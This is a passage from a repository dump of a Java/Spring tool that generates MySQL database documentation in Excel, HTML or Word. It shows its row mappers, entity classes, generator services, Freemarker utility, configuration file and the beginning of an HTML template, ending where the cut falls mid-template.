    "content": "package cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.mysql;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableFieldInfo;\nimport org.springframework.jdbc.core.RowMapper;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n/***\n * 列信息RowMapper\n * @author wenyao.wu\n * @date 2019/1/30\n */\npublic class TableFieldInfoRowMapper implements RowMapper<TableFieldInfo> {\n\n    @Override\n    public TableFieldInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n        TableFieldInfo tableFieldInfo = new TableFieldInfo();\n        tableFieldInfo.setDefaultValue(rs.getString(\"COLUMN_DEFAULT\"));\n        tableFieldInfo.setExtra(rs.getString(\"EXTRA\"));\n        tableFieldInfo.setField(rs.getString(\"COLUMN_NAME\"));\n        tableFieldInfo.setKey(rs.getString(\"COLUMN_KEY\"));\n        tableFieldInfo.setNullAble(rs.getString(\"IS_NULLABLE\"));\n        tableFieldInfo.setType(rs.getString(\"COLUMN_TYPE\"));\n        tableFieldInfo.setRemark(rs.getString(\"COLUMN_COMMENT\"));\n        if (tableFieldInfo.getDefaultValue() == null) {\n            tableFieldInfo.setDefaultValue(\"无\");\n        }\n        return tableFieldInfo;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/dao/impl/dbinfo/mysql/TableInfoRowMapper.java",
    "content": "package cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.mysql;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport org.springframework.jdbc.core.RowMapper;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n/***\n * 表信息RowMapper\n * @author wenyao.wu\n * @date 2019/1/30\n */\npublic class TableInfoRowMapper implements RowMapper<TableInfo> {\n\n    @Override\n    public TableInfo mapRow(ResultSet rs, int rowNum) throws SQLException {\n        String tableName = rs.getString(1);\n        String remark = rs.getString(2);\n        TableInfo tableInfo = new TableInfo();\n        tableInfo.setTableRemark(remark);\n        tableInfo.setTableName(tableName);\n        return tableInfo;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/entity/TableFieldInfo.java",
    "content": "package cn.wuwenyao.db.doc.generator.entity;\n\n/***\n * 列信息\n * \n * @author wwy\n *\n */\npublic class TableFieldInfo {\n\n\t/***\n\t * 列名\n\t */\n\tprivate String field;\n\n\t/***\n\t * 类型\n\t */\n\tprivate String type;\n\n\t/***\n\t * 是否能为空\n\t */\n\tprivate String nullAble;\n\n\t/***\n\t * 键\n\t */\n\tprivate String key;\n\n\t/***\n\t * 默认值\n\t */\n\tprivate String defaultValue;\n\n\t/***\n\t * 额外信息\n\t */\n\tprivate String extra;\n\n\t/***\n\t * 备注信息\n\t */\n\tprivate String remark;\n\n\tpublic String getField() {\n\t\treturn field;\n\t}\n\n\tpublic void setField(String field) {\n\t\tthis.field = field;\n\t}\n\n\tpublic String getType() {\n\t\treturn type;\n\t}\n\n\tpublic void setType(String type) {\n\t\tthis.type = type;\n\t}\n\n\tpublic String getNullAble() {\n\t\treturn nullAble;\n\t}\n\n\tpublic void setNullAble(String nullAble) {\n\t\tthis.nullAble = nullAble;\n\t}\n\n\tpublic String getKey() {\n\t\treturn key;\n\t}\n\n\tpublic void setKey(String key) {\n\t\tthis.key = key;\n\t}\n\n\tpublic String getDefaultValue() {\n\t\treturn defaultValue;\n\t}\n\n\tpublic void setDefaultValue(String defaultValue) {\n\t\tthis.defaultValue = defaultValue;\n\t}\n\n\tpublic String getExtra() {\n\t\treturn extra;\n\t}\n\n\tpublic void setExtra(String extra) {\n\t\tthis.extra = extra;\n\t}\n\n\tpublic String getRemark() {\n\t\treturn remark;\n\t}\n\n\tpublic void setRemark(String remark) {\n\t\tthis.remark = remark;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/entity/TableInfo.java",
    "content": "package cn.wuwenyao.db.doc.generator.entity;\n\nimport java.util.List;\n\n/***\n * 表信息\n * \n * @author wwy\n *\n */\npublic class TableInfo {\n\n\t/***\n\t * 表名\n\t */\n\tprivate String tableName;\n\n\t/***\n\t * 备注信息\n\t */\n\tprivate String tableRemark;\n\n\t/***\n\t * 列\n\t */\n\tprivate List<TableFieldInfo> fields;\n\n\t/**\n\t * 索引信息\n\t */\n\tprivate List<TableKeyInfo> keys;\n\n\tpublic String getTableName() {\n\t\treturn tableName;\n\t}\n\n\tpublic void setTableName(String tableName) {\n\t\tthis.tableName = tableName;\n\t}\n\n\tpublic List<TableFieldInfo> getFields() {\n\t\treturn fields;\n\t}\n\n\tpublic void setFields(List<TableFieldInfo> fields) {\n\t\tthis.fields = fields;\n\t}\n\n\tpublic String getTableRemark() {\n\t\treturn tableRemark;\n\t}\n\n\tpublic void setTableRemark(String tableRemark) {\n\t\tthis.tableRemark = tableRemark;\n\t}\n\n\tpublic List<TableKeyInfo> getKeys() {\n\t\treturn keys;\n\t}\n\n\tpublic void setKeys(List<TableKeyInfo> keys) {\n\t\tthis.keys = keys;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/entity/TableKeyInfo.java",
    "content": "package cn.wuwenyao.db.doc.generator.entity;\n\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\n\n/***\n * 表的索引信息\n * \n * @author wwy\n *\n */\npublic class TableKeyInfo implements Comparable{\n\n\tpublic static final String PRIMARY_KEY = \"PRIMARY\";\n\n\n\t/***\n\t * 索引名称\n\t */\n\tprivate String name;\n\n\t/***\n\t * 包含那些字段\n\t */\n\tprivate List<String> columns;\n\n\t/***\n\t * 是否唯一\n\t */\n\tprivate Boolean unique;\n\n\t/***\n\t * 索引类型\n\t */\n\tprivate String indexType;\n\n\t/***\n\t * 索引注释\n\t */\n\tprivate String indexComment;\n\n\tpublic TableKeyInfo() {\n\n\t}\n\n\tpublic String getColumnCombine() {\n\t\treturn StringUtils.join(columns, \",\");\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic List<String> getColumns() {\n\t\treturn columns;\n\t}\n\n\tpublic void setColumns(List<String> columns) {\n\t\tthis.columns = columns;\n\t}\n\n\tpublic Boolean getUnique() {\n\t\treturn unique;\n\t}\n\n\tpublic void setUnique(Boolean unique) {\n\t\tthis.unique = unique;\n\t}\n\n\tpublic String getIndexType() {\n\t\treturn indexType;\n\t}\n\n\tpublic void setIndexType(String indexType) {\n\t\tthis.indexType = indexType;\n\t}\n\n\tpublic String getIndexComment() {\n\t\treturn indexComment;\n\t}\n\n\tpublic void setIndexComment(String indexComment) {\n\t\tthis.indexComment = indexComment;\n\t}\n\n\t@Override\n\tpublic int compareTo(Object o) {\n\t\tif(this.equals(o)){\n\t\t\treturn 0;\n\t\t}\n\t\tTableKeyInfo keyInfo2 = (TableKeyInfo) o;\n\t\tString name2 = keyInfo2.getName();\n\t\tif(PRIMARY_KEY.equalsIgnoreCase(this.name)){\n\t\t\treturn -1;\n\t\t}\n\t\tif(PRIMARY_KEY.equalsIgnoreCase(name2)){\n\t\t\treturn 1;\n\t\t}\n\t\treturn this.name.compareTo(name2);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/enums/DbType.java",
    "content": "package cn.wuwenyao.db.doc.generator.enums;\n\n\nimport cn.wuwenyao.db.doc.generator.dao.impl.dbinfo.mysql.MysqlDbInfoDao;\n\n/***\n * 数据库类型\n * \n * @author wwy shiqiyue.github.com\n *\n */\npublic enum DbType {\n\t/** mysql */\n\tMYSQL(MysqlDbInfoDao.class);\n\t\n\tprivate Class dbInfoDaoImpl;\n\t\n\tprivate DbType(Class dbInfoDaoImpl) {\n\t\tthis.dbInfoDaoImpl = dbInfoDaoImpl;\n\t}\n\t\n\tpublic Class getDbInfoDaoImpl() {\n\t\treturn dbInfoDaoImpl;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/enums/TargetFileType.java",
    "content": "package cn.wuwenyao.db.doc.generator.enums;\n\nimport cn.wuwenyao.db.doc.generator.service.impl.ExcelGeneratorServiceImpl;\nimport cn.wuwenyao.db.doc.generator.service.impl.HtmlGeneratorServiceImpl;\nimport cn.wuwenyao.db.doc.generator.service.impl.WordGeneratorServiceImpl;\n\n/***\n * 生成文件类型\n * \n * @author wwy shiqiyue.github.com\n *\n */\npublic enum TargetFileType {\n\t\n\t/** word文档 */\n\tWORD(WordGeneratorServiceImpl.class),\n\t/** excel文档 */\n\tEXCEL(ExcelGeneratorServiceImpl.class),\n\t/** html文档 */\n\tHTML(HtmlGeneratorServiceImpl.class)\n\n\t;\n\t\n\tprivate Class generatorServiceImpl;\n\t\n\tprivate TargetFileType(Class generatorServiceImpl) {\n\t\tthis.generatorServiceImpl = generatorServiceImpl;\n\t}\n\t\n\tpublic Class getGeneratorServiceImpl() {\n\t\treturn generatorServiceImpl;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/service/GeneratorService.java",
    "content": "package cn.wuwenyao.db.doc.generator.service;\n\nimport cn.wuwenyao.db.doc.generator.config.GeneratorConfig;\nimport cn.wuwenyao.db.doc.generator.dao.DbInfoDao;\n\n/***\n * 生成文件-服务\n * \n * @author wwy shiqiyue.github.com\n *\n */\npublic interface GeneratorService {\n\n\n\t/***\n\t * 生成\n\t * @throws Exception\n\t */\n\tvoid generate() throws Exception;\n\t\n\t/***\n\t * 生成数据库文档\n\t * \n\t * @throws Exception\n\t */\n\tvoid generateDbDoc() throws Exception;\n\t\n\t/***\n\t * 设置数据库信息Dao\n\t * \n\t * @param dbInfoDao\n\t */\n\tpublic void setDbInfoDao(DbInfoDao dbInfoDao);\n\t\n\t/***\n\t * 设置配置信息\n\t * \n\t * @param generatorConfig\n\t */\n\tpublic void setGeneratorConfig(GeneratorConfig generatorConfig);\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/service/impl/AbstractGeneratorServiceImpl.java",
    "content": "package cn.wuwenyao.db.doc.generator.service.impl;\n\nimport cn.wuwenyao.db.doc.generator.config.GeneratorConfig;\nimport cn.wuwenyao.db.doc.generator.dao.DbInfoDao;\nimport cn.wuwenyao.db.doc.generator.service.GeneratorService;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Date;\nimport java.util.Random;\n\n/***\n * 文档生成服务-抽象基类\n *\n * @author wwy shiqiyue.github.com\n *\n */\npublic abstract class AbstractGeneratorServiceImpl implements GeneratorService {\n\n    protected DbInfoDao dbInfoDao;\n\n    protected GeneratorConfig generatorConfig;\n\n    /**\n     * windows系统名称前缀\n     */\n    private static final String SYSTEM_WINDOWS_PREFIX = \"win\";\n\n\n    @Override\n    public void generate() throws Exception {\n        generateDbDoc();\n        openDir();\n    }\n\n    /***\n     * 打开目录\n     */\n    private void openDir() throws IOException {\n        // 弹出目标文件夹\n        String os = System.getProperty(\"os.name\");\n        if (os.toLowerCase().startsWith(SYSTEM_WINDOWS_PREFIX)) {\n            Runtime.getRuntime().exec(\"explorer \" + generatorConfig.getTargetFileDir());\n        }\n\n    }\n\n    /***\n     * 创建文件\n     * @param fileSuffix 文件后缀\n     * @return\n     */\n    protected File createFile(String fileSuffix) throws IOException {\n        File dir = new File(generatorConfig.getTargetFileDir());\n        FileUtils.forceMkdir(dir);\n        Random random = new Random();\n        String filename = DateFormatUtils.format(new Date(), \"yyyy-MM-dd_hh-mm-ss\") + random.nextInt(10) + \".\" + fileSuffix;\n        File file = new File(dir, filename);\n        return file;\n    }\n\n    @Override\n    public void setDbInfoDao(DbInfoDao dbInfoDao) {\n        this.dbInfoDao = dbInfoDao;\n    }\n\n    @Override\n    public void setGeneratorConfig(GeneratorConfig generatorConfig) {\n        this.generatorConfig = generatorConfig;\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/service/impl/ExcelGeneratorServiceImpl.java",
    "content": "package cn.wuwenyao.db.doc.generator.service.impl;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableFieldInfo;\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport cn.wuwenyao.db.doc.generator.entity.TableKeyInfo;\nimport org.apache.poi.common.usermodel.HyperlinkType;\nimport org.apache.poi.hssf.usermodel.*;\nimport org.apache.poi.hssf.util.HSSFColor;\nimport org.apache.poi.ss.usermodel.*;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.util.List;\n\n/***\n * 生成文档服务-excel实现\n *\n * @author wwy\n *\n */\npublic final class ExcelGeneratorServiceImpl extends AbstractGeneratorServiceImpl {\n\n    /***\n     * excel对象\n     */\n    private HSSFWorkbook workbook;\n\n    /***\n     * 标题样式\n     */\n    private HSSFCellStyle titleCellStyle;\n\n    /***\n     * 一般样式\n     */\n    private HSSFCellStyle simpleCellStyle;\n\n    /***\n     * 链接样式\n     */\n    private HSSFCellStyle linkCellStyle;\n\n    /***\n     * 目录sheet的名称\n     */\n    private String indexSheetName = \"目录\";\n\n\n    public ExcelGeneratorServiceImpl() {\n        workbook = new HSSFWorkbook();\n        initCellStyle();\n    }\n\n    /***\n     * 初始化样式\n     */\n    public void initCellStyle() {\n        // 创建标题样式\n        titleCellStyle = workbook.createCellStyle();\n        HSSFFont titleFont = workbook.createFont();\n        titleFont.setFontName(\"微软雅黑\");\n        titleFont.setBold(false);\n        titleFont.setFontHeightInPoints((short) 20);\n        titleCellStyle.setFont(titleFont);\n        titleCellStyle.setBorderLeft(BorderStyle.THIN);\n        titleCellStyle.setBorderRight(BorderStyle.THIN);\n        titleCellStyle.setBorderTop(BorderStyle.THIN);\n        titleCellStyle.setBorderBottom(BorderStyle.THIN);\n        titleCellStyle.setFillPattern(FillPatternType.SOLID_FOREGROUND);\n        titleCellStyle.setFillForegroundColor(HSSFColor.HSSFColorPredefined.CORAL.getIndex());\n\n        // 创建一般样式\n        simpleCellStyle = workbook.createCellStyle();\n        simpleCellStyle.setBorderLeft(BorderStyle.THIN);\n        simpleCellStyle.setBorderRight(BorderStyle.THIN);\n        simpleCellStyle.setBorderTop(BorderStyle.THIN);\n        simpleCellStyle.setBorderBottom(BorderStyle.THIN);\n        HSSFFont simpleFont = workbook.createFont();\n        simpleFont.setFontName(\"微软雅黑\");\n        simpleFont.setFontHeightInPoints((short) 16);\n        simpleCellStyle.setFont(simpleFont);\n\n        // 创建超链接样式\n        linkCellStyle = workbook.createCellStyle();\n        linkCellStyle.setBorderLeft(BorderStyle.THIN);\n        linkCellStyle.setBorderRight(BorderStyle.THIN);\n        linkCellStyle.setBorderTop(BorderStyle.THIN);\n        linkCellStyle.setBorderBottom(BorderStyle.THIN);\n        HSSFFont linkFont = workbook.createFont();\n        linkFont.setFontName(\"YAHEI\");\n        linkFont.setFontHeightInPoints((short) 16);\n        linkFont.setItalic(true);\n        linkCellStyle.setFont(linkFont);\n\n\n    }\n\n\n    @Override\n    public void generateDbDoc() throws Exception {\n        String databaseName = dbInfoDao.databaseName();\n        List<TableInfo> tableInfos = dbInfoDao.tableInfoList();\n        // 生成文件\n        File file = createFile(\"xls\");\n        // 初始化样式\n        initCellStyle();\n        // 创建目录sheet\n        createIndexSheet();\n        // 创建各种表格sheet\n        for (int i = 0; i < tableInfos.size(); i++) {\n            TableInfo tableInfo = tableInfos.get(i);\n            createTableSheet(tableInfo);\n        }\n        FileOutputStream exportXls = new FileOutputStream(file);\n        workbook.write(exportXls);\n        workbook.close();\n        exportXls.close();\n    }\n\n    private Integer emptyRows(HSSFSheet sheet, Integer rowIndex, Integer rows) {\n        for (int i = 0; i < rows; i++) {\n            sheet.createRow(rowIndex++);\n        }\n        return rowIndex;\n    }\n\n    private void createIndexSheet() {\n        String databaseName = dbInfoDao.databaseName();\n        List<TableInfo> tableInfos = dbInfoDao.tableInfoList();\n        CreationHelper createHelper = workbook.getCreationHelper();\n        // 创建目录sheet\n        HSSFSheet indexSheet = workbook.createSheet(indexSheetName);\n        indexSheet.setActive(true);\n        indexSheet.setDefaultColumnWidth(40);\n        // 创建数据库名称row\n        HSSFRow dbNameRow = indexSheet.createRow(0);\n        createCell(0, dbNameRow, \"数据库名称:\" + databaseName, simpleCellStyle);\n\n        HSSFRow tablesRow = indexSheet.createRow(2);\n        createCell(0, tablesRow, \"表\", simpleCellStyle);\n        // 创建返回目录sheet的超链接\n        Hyperlink toIndexLink = createHelper.createHyperlink(HyperlinkType.DOCUMENT);\n        toIndexLink.setAddress(String.format(\"'%s'!A1\", indexSheetName));\n\n        // 创建表目录\n        for (int i = 0; i < tableInfos.size(); i++) {\n            TableInfo tableInfo = tableInfos.get(i);\n            // 目录sheet创建一个cell超链接到表格Sheet\n            HSSFRow indexRow = indexSheet.createRow(i + 3);\n            HSSFCell indexRowCell = createCell(0, indexRow, tableInfo.getTableName(), linkCellStyle);\n            Hyperlink toTableLink = createHelper.createHyperlink(HyperlinkType.DOCUMENT);\n            toTableLink.setAddress(String.format(\"'%s'!A1\", tableInfo.getTableName()));\n            indexRowCell.setHyperlink(toTableLink);\n            createCell(1, indexRow, tableInfo.getTableRemark(), linkCellStyle);\n        }\n    }\n\n    private void createTableSheet(TableInfo tableInfo) {\n        CreationHelper createHelper = workbook.getCreationHelper();\n        Hyperlink toIndexLink = createHelper.createHyperlink(HyperlinkType.DOCUMENT);\n        toIndexLink.setAddress(String.format(\"'%s'!A1\", indexSheetName));\n        // 创建表格sheet,sheet名称长度最大32个字符\n        HSSFSheet tableSheet = workbook.createSheet(tableInfo.getTableName());\n        tableSheet.setDefaultColumnWidth(45);\n        Integer rowIndex = new Integer(3);\n        // 创建第一行，包含返回首页的按钮和表名\n        HSSFRow tableSheetIndexRow = tableSheet.createRow(rowIndex++);\n        HSSFCell tableSheetIndexRowFirstCell = createCell(0, tableSheetIndexRow, \"返回目录\", linkCellStyle);\n        tableSheetIndexRowFirstCell.setHyperlink(toIndexLink);\n\n        // 创建第二行，显示表名\n        HSSFRow tableSheetTableNameRow = tableSheet.createRow(rowIndex++);\n        createCell(0, tableSheetTableNameRow, \"表名：\" + tableInfo.getTableName(), simpleCellStyle);\n\n        // 创建第三行，注释\n        HSSFRow tableSheetTableCommentRow = tableSheet.createRow(rowIndex++);\n        createCell(0, tableSheetTableCommentRow, \"注释：\" + tableInfo.getTableRemark(), simpleCellStyle);\n\n        // 创建field表格\n        rowIndex = createFieldTable(tableInfo, tableSheet, rowIndex);\n        // 空三行\n        rowIndex = emptyRows(tableSheet, rowIndex, 3);\n        // 创建key表格\n        rowIndex = createKeyTable(tableInfo, tableSheet, rowIndex);\n    }\n\n    private Integer createFieldTable(TableInfo tableInfo, HSSFSheet tableSheet, Integer rowIndex) {\n        // 创建表格头部\n        HSSFRow tableSheetHeadRow = tableSheet.createRow(rowIndex++);\n\n        createCell(0, tableSheetHeadRow, \"字段\", titleCellStyle);\n        createCell(1, tableSheetHeadRow, \"注释\", titleCellStyle);\n        createCell(2, tableSheetHeadRow, \"类型\", titleCellStyle);\n        createCell(3, tableSheetHeadRow, \"键\", titleCellStyle);\n        createCell(4, tableSheetHeadRow, \"能否为空\", titleCellStyle);\n        createCell(5, tableSheetHeadRow, \"默认值\", titleCellStyle);\n\n        // 创建表格内容\n        for (int j = 0; j < tableInfo.getFields().size(); j++) {\n\n            TableFieldInfo tableFieldInfo = tableInfo.getFields().get(j);\n            HSSFRow fieldRow = tableSheet.createRow(rowIndex++);\n            createCell(0, fieldRow, tableFieldInfo.getField(), simpleCellStyle);\n            createCell(1, fieldRow, tableFieldInfo.getRemark(), simpleCellStyle);\n            createCell(2, fieldRow, tableFieldInfo.getType(), simpleCellStyle);\n            createCell(3, fieldRow, tableFieldInfo.getKey(), simpleCellStyle);\n            createCell(4, fieldRow, tableFieldInfo.getNullAble(), simpleCellStyle);\n            createCell(5, fieldRow, tableFieldInfo.getDefaultValue(), simpleCellStyle);\n        }\n        return rowIndex;\n    }\n\n    private Integer createKeyTable(TableInfo tableInfo, HSSFSheet tableSheet, Integer rowIndex) {\n        //索引标题\n        createCell(0, tableSheet.createRow(rowIndex++), \"索引信息\", simpleCellStyle);\n        //索引头部\n        HSSFRow indexSheetHeadRow = tableSheet.createRow(rowIndex++);\n        createCell(0, indexSheetHeadRow, \"名称\", simpleCellStyle);\n        createCell(1, indexSheetHeadRow, \"栏位\", simpleCellStyle);\n        createCell(2, indexSheetHeadRow, \"索引类型\", simpleCellStyle);\n        createCell(3, indexSheetHeadRow, \"索引方式\", simpleCellStyle);\n        createCell(4, indexSheetHeadRow, \"索引备注\", simpleCellStyle);\n        //创建索引内容\n        for (int j = 0; j < tableInfo.getKeys().size(); j++) {\n            TableKeyInfo tableKeyInfo = tableInfo.getKeys().get(j);\n            HSSFRow keyRow = tableSheet.createRow(rowIndex++);\n            createCell(0, keyRow, tableKeyInfo.getName(), simpleCellStyle);\n            createCell(1, keyRow, tableKeyInfo.getColumnCombine(), simpleCellStyle);\n            createCell(2, keyRow, tableKeyInfo.getUnique() ? \"Unique\" : \"Normal\", simpleCellStyle);\n            createCell(3, keyRow, tableKeyInfo.getIndexType(), simpleCellStyle);\n            createCell(4, keyRow, tableKeyInfo.getIndexComment(), simpleCellStyle);\n        }\n        return rowIndex;\n    }\n\n    /***\n     * 创建单元格\n     *\n     * @param indexColumn\n     *            第几个单元格\n     * @param row\n     *            HSSFRow\n     * @param value\n     *            值\n     * @param style\n     *            样式\n     * @return\n     */\n    public HSSFCell createCell(int indexColumn, HSSFRow row, String value, HSSFCellStyle style) {\n        HSSFCell cell = row.createCell(indexColumn, CellType.STRING);\n        cell.setCellValue(value);\n        cell.setCellStyle(style);\n        return cell;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/service/impl/HtmlGeneratorServiceImpl.java",
    "content": "package cn.wuwenyao.db.doc.generator.service.impl;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Random;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport cn.wuwenyao.db.doc.generator.utils.FreemarkerUtils;\nimport freemarker.template.Template;\n\n/***\n * 生成文档服务-html实现\n * \n * @author wwy\n *\n */\npublic final class HtmlGeneratorServiceImpl extends AbstractGeneratorServiceImpl {\n\t\n\t/** 模板名称 */\n\tprivate String templateFileName = \"htmlTemplate.html\";\n\t\n\t@Override\n\tpublic void generateDbDoc() throws Exception {\n\t\tString databaseName = dbInfoDao.databaseName();\n\t\tList<TableInfo> tableInfos = dbInfoDao.tableInfoList();\n\t\ttemplateFileName = StringUtils.defaultIfBlank(generatorConfig.getTemplateFilePath(), templateFileName);\n\t\t// 获取模板\n\t\tTemplate template = FreemarkerUtils.getTemplate(templateFileName);\n\t\tFile file = this.createFile(\"html\");\n\t\tMap<String, Object> map = new HashMap<>(2);\n\t\tmap.put(\"tableInfos\", tableInfos);\n\t\tmap.put(\"databaseName\", databaseName);\n\t\t// 根据模板生成文件\n\t\ttemplate.process(map, new FileWriter(file));\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/service/impl/WordGeneratorServiceImpl.java",
    "content": "package cn.wuwenyao.db.doc.generator.service.impl;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Random;\n\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.commons.lang3.time.DateFormatUtils;\n\nimport cn.wuwenyao.db.doc.generator.entity.TableInfo;\nimport cn.wuwenyao.db.doc.generator.utils.FreemarkerUtils;\nimport freemarker.template.Template;\n\n/***\n * 生成文档服务,word格式\n * <p>\n * 格式难以控制，不再支持，版本1.5移除\n * </p>\n * \n * @deprecated\n * \n * \n * @author wwy\n *\n */\npublic final class WordGeneratorServiceImpl extends AbstractGeneratorServiceImpl {\n\t\n\t/** 模板名称 */\n\tprivate String templateFileName = \"wordTemplate.ftl\";\n\t\n\t@Override\n\tpublic void generateDbDoc() throws Exception {\n\t\tString databaseName = dbInfoDao.databaseName();\n\t\tList<TableInfo> tableInfos = dbInfoDao.tableInfoList();\n\t\t// 获取模板\n\t\ttemplateFileName = StringUtils.defaultIfBlank(generatorConfig.getTemplateFilePath(), templateFileName);\n\t\tTemplate template = FreemarkerUtils.getTemplate(templateFileName);\n\t\tFile file = this.createFile(\"doc\");\n\t\tMap<String, Object> map = new HashMap<>(2);\n\t\tmap.put(\"tableInfos\", tableInfos);\n\t\tmap.put(\"databaseName\", databaseName);\n\t\t// 根据模板生成文件\n\t\ttemplate.process(map, new FileWriter(file));\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/java/cn/wuwenyao/db/doc/generator/utils/FreemarkerUtils.java",
    "content": "package cn.wuwenyao.db.doc.generator.utils;\n\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Configuration;\nimport freemarker.template.Template;\nimport org.apache.commons.io.IOUtils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Locale;\n\n/***\n * freemaker工具类\n *\n * @author wwy\n *\n */\npublic class FreemarkerUtils {\n\n    private static final String COLON = \":\";\n\n    /**\n     * 通过文件名加载模版\n     *\n     * @param ftlName\n     */\n    public static Template getTemplate(String ftlName) throws Exception {\n        try {\n            // 通过Freemaker的Configuration读取相应的ftl\n            Configuration cfg = new Configuration();\n            StringTemplateLoader stringLoader = new StringTemplateLoader();\n            stringLoader.putTemplate(ftlName, IOUtils.toString(FreemarkerUtils.class.getClassLoader().getResourceAsStream(ftlName)));\n            cfg.setEncoding(Locale.CHINA, \"utf-8\");\n            // 设定去哪里读取相应的ftl模板文件\n            cfg.setTemplateLoader(stringLoader);\n            // 在模板文件目录中找到名称为name的文件\n            Template temp = cfg.getTemplate(ftlName);\n            return temp;\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n\n    public static String getClassResources() {\n        String path = (String.valueOf(Thread.currentThread().getContextClassLoader().getResource(\"\")))\n                .replaceAll(\"file:/\", \"\").replaceAll(\"%20\", \" \").trim();\n        if (path.indexOf(COLON) != 1) {\n            path = File.separator + path;\n        }\n        return path;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/resources/application.yml",
    "content": "spring:\n  datasource:\n    driver-class-name: com.mysql.jdbc.Driver\n    password: 'root'\n    url: jdbc:mysql://localhost:3306/information_schema?useUnicode=true&characterEncoding=utf8&characterSetResults=utf8\n    username: root\napplication:\n  generator:\n    #数据库类型，当前支持mysql\n    dbtype: mysql\n    #生成文件的类型,当前支持excel和word和html\n    target-file-type: html\n    #使用的模板文件地址\n    template-file-path: htmlTemplate2.html\n    #生成文件的目录\n    target-file-dir: D:\\generator2\\doc\n    #黑名单，支持正则表达式\n    #blacklist:\n    #  - '.*'\n    #白名单，支持正则表达式\n    #whitelist:\n    #  - 't_cc.*'\n"
  },
  {
    "path": "jun_java_plugins/jun_db_document/src/main/resources/htmlTemplate.html",
    "content": "<!DOCTYPE html>\n<html>\n\n\t<head>\n\t\t<!-- Standard Meta -->\n\t\t<meta charset=\"utf-8\" />\n\t\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n\t\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0\">\n\t\t<!-- Site Properties -->\n\t\t<title>${databaseName}</title>\n\t\t<link href=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.css\" rel=\"stylesheet\">\n\t\t<script src=\"https://cdn.bootcss.com/jquery/2.1.4/jquery.min.js\"></script>\n\t\t<script src=\"https://cdn.bootcss.com/semantic-ui/2.3.0/semantic.min.js\"></script>\n\t\t<!-- Content JS HERE !-->\n\t\t<style>\n\t\t\t.last.container {\n\t\t\t\tmargin-bottom: 300px !important;\n\t\t\t}\n\t\t\t\n\t\t\th1.ui.center.header {\n\t\t\t\tmargin-top: 3em;\n\t\t\t}\n\t\t\t\n\t\t\th2.ui.center.header {\n\t\t\t\tmargin: 4em 0em 2em;\n\t\t\t}\n\t\t\t\n\t\t\th3.ui.center.header {\n\t\t\t\tmargin-top: 2em;\n\t\t\t\tpadding: 2em 0em;\n\t\t\t}\n\t\t\t.hide{\n\t\t\t\tdisplay: none;\n\t\t\t}\n\t\t</style>\n\t</head>\n\n\t<body>\n\t\t<!-- 目录 -->\n\t\t<h1 id=\"top\" class=\"ui center aligned header \">数据库名称：${databaseName}</h1>\n\t\t\n\t\t<div  class=\"ui text container last db-index\">\n\t\t\t<h3 class=\"ui center aligned\">目录</h3>\n\t\t\t\n\t\t\t\t<div class=\"ui segment\">\n\t\t\t\t\t<div class=\"ui list divided \">\n\t\t\t\t\t\t<#list tableInfos as tableInfo>\n\t\t\t\t\t\t<div class=\"item\">\n\t\t\t\t\t\t\t<div class=\"content\">\n\t\t\t\t\t\t\t\t<a 